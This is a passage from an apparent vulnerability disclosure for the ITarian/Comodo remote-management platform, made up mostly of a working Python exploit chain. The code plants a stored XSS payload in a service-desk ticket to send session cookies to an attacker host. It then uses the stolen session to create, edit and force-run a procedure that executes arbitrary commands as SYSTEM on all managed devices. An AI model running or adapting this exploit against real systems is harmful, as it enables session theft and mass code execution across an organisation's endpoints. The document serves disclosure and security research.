Technical details

Creation of procedure and bypass approval (ITarian SaaS platform / on-premise)

If a malicious actor gains access to the Token session cookie, he can create a procedure, bypass approval and run the procedure. Resulting in all agents running arbitrary code as SYSTEM, which could for example be used during ransomware deployment.

The Token session cookie can be retrieved by abusing the XSS vulnerability in the Service Desk module.

Creating and bypassing approval consists of multiple steps. The vulnerability is easily exploited by calling the following three API endpoints in the following order:

  • /procedure/windows/create
  • /procedure/windows/update/id/<id>
  • /procedure/run/device-all

The first API call is used to create a procedure, the second is used to add arbitrary Python code and the last API call bypasses approval and pushes the procedure to all devices. These three steps have been automated in the following Python POC:

# POC made by Wietse Boonstra
#
# Flow
# Send XSS payload to grab SSO-Token - Mail / Ticket
# Send SSO-Token to attacker server
# Request PHPSessionId
# Use PHPSessionId to run 3 commands
# # Create procedure grab ID
# # Update procedure ID with new python code
# # Trigger procedure on all systems
# Wait for shells to rain or calc’s!

#!/bin/python3

import requests
import string
import random
import sys

from requests import sessions



class exploit():
   def __init__(self, url, payload, ssotoken):
       self.url = url
       self.ssotoken = ssotoken
       self.payload = payload
       self.procedureID = None
       self.session = requests.session()
      
   def getPHPsessionId(self):
       url = "{}?sso-token={}".format(self.url,self.ssotoken)
       print (url)
       resp = self.session.get(
           url,
           verify=False,
           allow_redirects=False,
       )
       if resp.status_code != 302:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       return True

   def createProcedure(self):
       url = "{}/procedure/windows/create".format(self.url)
       procedureName = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))

       headers = {"X-Requested-With": "XMLHttpRequest"}
       json={"model": {"description": "asdasd", "id_category": 1, "name": procedureName }}

       resp = self.session.post(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()

       self.procedureID = result['model']['id']
       print ("Procedure ID: {}".format(self.procedureID))

       return self.procedureID

   def createProcedurePayload(self):
       url = "{}/procedure/windows/update/id/{}".format(self.url, self.procedureID)

       headers = {"X-Requested-With": "XMLHttpRequest"}
       json={"model":{"script":""}}
       json['model']['script'] = """
import os
os.system(\"{}\")
""".format(self.payload)

       resp = self.session.patch(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()
       print (result)

       return True

   def runProcedure(self):
       url = "{}/procedure/run/device-all".format(self.url)
      
       headers = {"X-Requested-With": "XMLHttpRequest"}
       json = {"model":{"target":1,"procedureId":0,"osType":3}}
       json['model']['procedureId'] = self.procedureID

       resp = self.session.post(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()
       print (result)

       return True

   def xssPayload(url,attackerHost,attackerPort):
       # This function could be used to steal the SSO-Token.
       # For this to work we need to start a webserver
       # This webserver will receive the the XSS payload that contains the SSO-Token
       # This Token can then be used to trigger the rest of the exploit chain.
       #
       # 
       from lxml import etree
       from io import StringIO
       from requests_toolbelt import MultipartEncoder

       payload = "<script>document.location=\"https://{}:{}/?c=\" + document.cookie</script>".format(attackerHost, attackerPort)
       randomEmail = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))

       parser = etree.HTMLParser()
       url = "https://{}/open.php".format(url)
       r = requests.get(url)
      
       cookie = r.cookies['OSTSESSID']

       html = r.content.decode("utf-8")
       tree = etree.parse(StringIO(html), parser=parser)
       print (tree)
       inputs = tree.xpath("//input")
       CSRFToken = None
       for input in inputs:
           if "__CSRFToken__" == input.get('name',''):
               CSRFToken = input.get('value','')
          
       labels = tree.xpath("//label")
       EmailAddressId = None
       FullNameId = None
       IssueSummaryId = None
       for label in labels:
           if "Email Address" in label.text:
               EmailAddressId = label.get('for','')
           if "Full Name" in label.text:
               FullNameId = label.get('for','')
           if "Issue Summary" in label.text:
               IssueSummaryId = label.get('for','')

       url = "https://dddivddd.servicedesk.comodo.com:443/open.php"
       cookies = {"OSTSESSID": cookie}
       headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUDlpx6O6BsoA2BmY"}
       data = """------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"__CSRFToken__\"
{CSRFToken}
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"a\"
open
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"topicId\"
10
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{EmailAddressId}\"
{randomEmail}@fff.123
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{FullNameId}\"
{payload}Administrator
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{IssueSummaryId}\"
summary
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"message\"
Hi
------WebKitFormBoundaryUDlpx6O6BsoA2BmY--
""".format(CSRFToken=CSRFToken,EmailAddressId=EmailAddressId,randomEmail=randomEmail,FullNameId=FullNameId,payload=payload,IssueSummaryId=IssueSummaryId)
       ticket = requests.post(url, headers=headers, cookies=cookies, data=data)
       if "A support ticket request has been created " in ticket.text:
           print ("Payload dropped")
       else:
           print (ticket.text)


   def run(self):
       # self.xssPayload()
       self.getPHPsessionId()
       self.createProcedure()
       self.createProcedurePayload()
       self.runProcedure()

payload = "c:\\windows\\system32\\cmd.exe /c calc"
x = exploit(url="https://dddivddd-msp.cmdm.comodo.com/", ssotoken="<TOKEN>", payload=payload )
id = x.run()